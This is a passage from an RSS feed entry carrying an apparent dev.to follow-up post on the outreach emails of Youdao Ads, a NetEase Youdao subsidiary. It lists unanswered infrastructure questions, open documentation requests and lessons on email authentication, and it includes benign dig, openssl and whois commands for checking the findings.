Youdao Ads has a LinkedIn presence identifying as a NetEase Youdao subsidiary.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;My article changed their behavior.&lt;/strong&gt;&lt;br&gt;
The before/after comparison of outreach emails is not coincidental. The timing, the specific changes, the direct addressing of documented concerns — this is a response to public scrutiny.&lt;/p&gt;
&lt;h3&gt;
  
  
  What remains unexplained:
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Why was the site returning 403 during the email campaign?&lt;/strong&gt;&lt;br&gt;
You don't send mass creator outreach from a platform that returns Forbidden.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why did the WHOIS record update 3 days after the article?&lt;/strong&gt;&lt;br&gt;
Domain records don't update themselves.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why did the site go live on the same day as the takedown request?&lt;/strong&gt;&lt;br&gt;
Correlation is not causation. But this correlation is hard to ignore.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why the subdomain switch?&lt;/strong&gt;&lt;br&gt;
&lt;code&gt;corp.netease.com&lt;/code&gt; → &lt;code&gt;rd.netease.com&lt;/code&gt; → back to &lt;code&gt;corp.netease.com&lt;/code&gt;.&lt;br&gt;
Three different senders. Never explained.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why 15/100 on independent security vendors?&lt;/strong&gt;&lt;br&gt;
No documentation addressing this was ever provided despite formal request.&lt;/p&gt;
&lt;h3&gt;
  
  
  The most likely explanation:
&lt;/h3&gt;

&lt;p&gt;This is a legitimate NetEase subsidiary operating with immature outreach practices — possibly a team that grew fast, prioritized reach over compliance, and got caught using spam-adjacent tactics that don't match the scale and legitimacy of their parent company.&lt;/p&gt;

&lt;p&gt;My article forced an internal correction.&lt;/p&gt;

&lt;p&gt;That's not a vindication. That's a more nuanced conclusion backed by evidence.&lt;/p&gt;


&lt;h2&gt;
  
  
  What I Requested — Still Open
&lt;/h2&gt;

&lt;p&gt;On April 28, I formally requested via email and public comment:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Official business registration documents for Youdao Ads&lt;/li&gt;
&lt;li&gt;NetEase Youdao's official PR statement authorizing the outreach campaign&lt;/li&gt;
&lt;li&gt;Verified creator partnership examples with creator consent&lt;/li&gt;
&lt;li&gt;Explanation of security vendor scores and remediation steps&lt;/li&gt;
&lt;li&gt;Clarification on the use of multiple NetEase subdomains&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;As of publication: no documentation received.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The April 29 email did not address these requests.&lt;/p&gt;

&lt;p&gt;This article will be updated prominently if documentation is provided.&lt;/p&gt;


&lt;h2&gt;
  
  
  For the Security Community: What This Case Teaches
&lt;/h2&gt;
&lt;h3&gt;
  
  
  1. Email Authentication ≠ Legitimacy
&lt;/h3&gt;

&lt;p&gt;DKIM, SPF, DMARC all passed on the original email. The infrastructure was real.&lt;br&gt;
Authentication tells you where an email came from.&lt;br&gt;
It tells you nothing about intent or operational standards.&lt;/p&gt;
&lt;h3&gt;
  
  
  2. Infrastructure Legitimacy ≠ Operational Legitimacy
&lt;/h3&gt;

&lt;p&gt;Real servers. Real domain. Real CDN. Real company.&lt;br&gt;
None of this guarantees the outreach practices meet acceptable standards.&lt;/p&gt;
&lt;h3&gt;
  
  
  3. Public Scrutiny Works
&lt;/h3&gt;

&lt;p&gt;A single technical article, published and indexed, changed the outreach behavior of a subsidiary of a billion-dollar company.&lt;/p&gt;

&lt;p&gt;This is why security research and transparency matter.&lt;/p&gt;
&lt;h3&gt;
  
  
  4. Timeline Documentation Is Everything
&lt;/h3&gt;

&lt;p&gt;Every data point in this investigation is timestamped and reproducible:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Reproduce the DNS chain&lt;/span&gt;
&lt;span class="nv"&gt;$ &lt;/span&gt;dig infunease.youdaoads.com +short

&lt;span class="c"&gt;# Reproduce the SSL timing&lt;/span&gt;
&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; | openssl s_client &lt;span class="nt"&gt;-servername&lt;/span&gt; infunease.youdaoads.com &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-connect&lt;/span&gt; infunease.youdaoads.com:443 2&amp;gt;/dev/null &lt;span class="se"&gt;\&lt;/span&gt;
  | openssl x509 &lt;span class="nt"&gt;-noout&lt;/span&gt; &lt;span class="nt"&gt;-dates&lt;/span&gt;

&lt;span class="c"&gt;# Reproduce the WHOIS&lt;/span&gt;
&lt;span class="nv"&gt;$ &lt;/span&gt;whois youdaoads.com
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Any developer can verify these findings independently.&lt;/p&gt;




&lt;h2&gt;
  
  
  Conclusion: The Investigation Is Open, Not Closed
&lt;/h2&gt;

&lt;p&gt;I published Part 1 calling this a scam. The full picture is more complex.&lt;/p&gt;

&lt;p&gt;What I can say with confidence after 18 days:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The operation is real.&lt;/strong&gt; NetEase infrastructure, 5-year-old domain, LinkedIn presence.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The original tactics were unacceptable.&lt;/strong&gt; Emoji spam, artificial urgency, WhatsApp groups — regardless of the company behind it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;My article caused a documented change.&lt;/strong&gt; The before/after email comparison is the clearest evidence of this.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Unanswered questions remain.&lt;/strong&gt; The 403 timing, the WHOIS update, the subdomain switching, the trust scores.&lt;/p&gt;

&lt;p&gt;I will continue monitoring. If documentation arrives, this gets updated publicly and prominently.&lt;/p&gt;

&lt;p&gt;If you've interacted with Youdao Ads — as a creator, brand, or agency — your experience is relevant. Share it in the comments.&lt;/p&gt;




&lt;h2&gt;
  
  
  Resources
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Security Analysis:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.scam-detector.com/validator/youdaoads-com-review/" rel="noopener noreferrer"&gt;Scam Detector: youdaoads.com&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.virustotal.com/" rel="noopener noreferrer"&gt;VirusTotal Domain Scanner&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Reporting:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Anti-Phishing Working Group: &lt;a href="mailto:reportphishing@apwg.org"&gt;reportphishing@apwg.org&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Google Safe Browsing: safebrowsing.google.com/safebrowsing/report_phish/&lt;/li&gt;
&lt;li&gt;NetEase Security: &lt;a href="mailto:security@netease.com"&gt;security@netease.com&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Technical Verification:&lt;/strong&gt;&lt;br&gt;
All commands in this article are reproducible. Infrastructure data is public record.&lt;br&gt;
WHOIS, DNS, SSL certificate dates — independently verifiable by anyone.&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;Part 1:&lt;/strong&gt; &lt;a href="https://dev.to/freerave/exposed-the-youdao-ads-influencer-marketing-scam-technical-analysis-red-flags-5cag"&gt;EXPOSED: The Youdao Ads Influencer Marketing Scam&lt;/a&gt;&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Have you received emails from Youdao Ads? Share your experience below.&lt;/em&gt;&lt;/p&gt;




&lt;p&gt;&lt;em&gt;All technical findings are based on public record data and standard OSINT methodology. Commands and outputs are included verbatim for independent verification.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>security</category>
      <category>phishing</category>
      <category>webdev</category>
    </item>
  </channel>
</rss>
